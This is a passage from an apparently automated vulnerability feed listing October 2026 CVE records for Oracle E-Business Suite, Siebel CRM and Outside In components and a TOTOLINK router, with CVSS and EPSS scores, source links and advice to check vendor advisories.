Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101685
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101685).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101685&date=2026-10-25).
Sources:
NVD CVE-2026-101685: https://nvd.nist.gov/vuln/detail/CVE-2026-101685
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101685&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101664
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101664).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101664&date=2026-10-25).
Sources:
NVD CVE-2026-101664: https://nvd.nist.gov/vuln/detail/CVE-2026-101664
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101664&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101656
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101656).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101656&date=2026-10-25).
Sources:
NVD CVE-2026-101656: https://nvd.nist.gov/vuln/detail/CVE-2026-101656
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101656&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101655
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101655).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101655&date=2026-10-25).
Sources:
NVD CVE-2026-101655: https://nvd.nist.gov/vuln/detail/CVE-2026-101655
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101655&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101654
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101654).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101654&date=2026-10-25).
Sources:
NVD CVE-2026-101654: https://nvd.nist.gov/vuln/detail/CVE-2026-101654
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101654&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101653
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101653).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101653&date=2026-10-25).
Sources:
NVD CVE-2026-101653: https://nvd.nist.gov/vuln/detail/CVE-2026-101653
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101653&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101635
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101635).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101635&date=2026-10-25).
Sources:
NVD CVE-2026-101635: https://nvd.nist.gov/vuln/detail/CVE-2026-101635
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101635&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).
https://kevwire.com/record/CVE-2026-101567
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning). (Oct 20, 2026).
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101567).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101567&date=2026-10-25).
Sources:
NVD CVE-2026-101567: https://nvd.nist.gov/vuln/detail/CVE-2026-101567
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101567&date=2026-10-25
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Planning).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101557
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  Successful attacks of this vulnerability can result in takeover of Oracle Purchasing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101557).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101557&date=2026-10-25).
Sources:
NVD CVE-2026-101557: https://nvd.nist.gov/vuln/detail/CVE-2026-101557
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101557&date=2026-10-25
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  Successful attacks of this vulnerability can result in takeover of Oracle Purchasing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).
https://kevwire.com/record/CVE-2026-91457
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91457).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91457&date=2026-10-25).
Sources:
NVD CVE-2026-91457: https://nvd.nist.gov/vuln/detail/CVE-2026-91457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91457&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91450
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91450).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91450&date=2026-10-25).
Sources:
NVD CVE-2026-91450: https://nvd.nist.gov/vuln/detail/CVE-2026-91450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91450&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91449
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91449).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91449&date=2026-10-25).
Sources:
NVD CVE-2026-91449: https://nvd.nist.gov/vuln/detail/CVE-2026-91449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91449&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91448
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91448).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91448&date=2026-10-25).
Sources:
NVD CVE-2026-91448: https://nvd.nist.gov/vuln/detail/CVE-2026-91448
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91448&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91447
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91447).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91447&date=2026-10-25).
Sources:
NVD CVE-2026-91447: https://nvd.nist.gov/vuln/detail/CVE-2026-91447
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91447&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9869
A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
